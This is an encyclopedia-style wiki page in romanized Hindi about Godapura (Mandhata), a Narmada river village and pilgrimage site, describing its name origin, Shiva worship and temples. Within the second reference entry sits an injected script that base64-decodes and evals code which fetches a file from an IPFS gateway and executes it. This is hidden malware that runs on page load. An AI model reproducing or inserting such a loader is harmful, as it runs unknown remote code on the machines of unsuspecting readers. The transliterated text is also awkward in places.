गोदपुरा

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search

godapura ek gaanv aur tirth sthal, jo khandava tahasil, pashchimi madhy pradesh rajy, madhy bharat, indaur ke dakshin-poorn mean sthit hai. is gaanv ka kuchh hissa narmada nadi ke dakshini tat par aur kuchh hissa nadi ke bich dvip par sthit hai. ooanchi paha diyoan se bane is dvip ki lanbaee lagabhag 2.5 ki.mi. hai aur poorvi chhor par sthit shikhar ke samip se sudoor pashchim mean jal sima tak phaili ek ghati ise do hissoan mean vibhakt karati hai. yah sthan 'mandhata' ya 'oankaraji' bhi kaha jata hai.

namakaran

is sthan ka namakaran dakshini tat par sthit 'godar', 'niranjani' aur 'dasanami' ke kee mathoan ke adhar par hua hai. 'skand puran' ke vaidoory khand mean is sthan ka ullekh vaidoory mani parvat ke roop mean kiya gaya hai. 17vean sooryavanshi raja mandhani dvara tapasya ke samay is jagah par svayan apani bali chadhane par oankar ji dvara varadan die jane se isaka nam badalakar 'mandhata' ho gaya. yahaan par nadi ke tatoan ka rang harit-nila hai aur kaha jata hai ki yah 'shanashm'[1] slet patthar se bana hua hai.[2]

shiv poojan ki parampara

godapura mean bhagavan shiv ki poojan parampara kafi prachin hai. yahaan vikhyat shaiv, vaishnav aur jain mandir haian, jinamean se adhikaansh shatabdi ke tatha kuchh adhunik kal ke haian. adhikaansh prachin mandir dvip ke uttari hisse mean oankar mandir ke samane sthit haian. dvip ke dakshini tat par 'amareshvar'[3] ka mandir hai. ye donoan mandir 12 mahanh shivaliangoan ka ek hissa haian, jo 1024-25 ee. mean mahamood gazanavi dvara somanath mandir nasht kie jane ke samay bharat mean maujood the. godapura mean ek any shivaliang 'gauri-somanath mandir' ke bahar sthit hai.

mandir

is dvip par bane hue mandir shaiv mat ke haian, lekin uttari kinare par vaishnav aur jain mandir bhi haian v dakshini kinare par godapura mean brahma mandiroan mean se ek mandir sthit hai. vanshanugat roop se mandhata ke raja sabhi adhunik mandiroan ke sanrakshak haian. ve 'bhilal' haian, jo chauhan rajapoot bharat sianh ke vanshaj hone ka dava karate haian. dvip ke sidhidar parvatiy kshetr par rajamahal bana hua hai. godapura mean lagane vale varshik mele mean 1824 tak dharmik shraddhaluoan ke atmabalidan ki ghatanaean hoti rahati thian, jisamean dvip ke poorvi chhor par birakhala ki ooanchi chattanoan se shraddhalu nadi mean chhalaang lagate the. ye balidan kal bhairav ko samarpit hote the, taki unaki arddhaangini kali devi ko prasann karane mean sahayata mil sake. any ullekhaniy mandiroan mean, narmada mean milane vali kaveri nadi ke uttari kinare par sthit 'siddheshvar mahadev' tatha any mandir shamil haian.[2]

godapura mean purane mandir ab zyada nahian bache haian. prachin mandiroan mean moortiyoan ko buri tarah se to da gaya hai. purane qiloan aur gaanv ke any bhavanoan mean hindoo vastushilp ke utkrisht udaharan dekhe ja sakate haian. inamean se adhikaansh bhavan simeant ke bina sthaniy baisalt patthar aur pile balua pattharoan se bane haian. mandhata gaanv poori tarah tirth yatriyoan se hone vali ay par nirbhar hai.


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

tika tippani aur sandarbh

  1. h aaurnast aaun
  2. 2.0 2.1 bharat jnanakosh, khand-2 |lekhak: iandu ramachandani |prakashak: eansaiklopidiya britainika praivet limited, nee dilli aur p aaupyular prakashan, mumbee |sankalan: bharatakosh pustakalay |prishth sankhya: 112 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  3. amaratv ke devata

sanbandhit lekh

varnamala kramanusar lekh khoj

a   a    i    ee    u    oo    e    ai    o   au    aan    k   kh    g    gh    n    ch    chh    j    jh    n    t    th    d   dh    n    t    th    d    dh    n    p    ph    b    bh    m    y    r    l    v    sh    sh    s    h    ksh    tr    jn    rri    rri    aau    shr   aah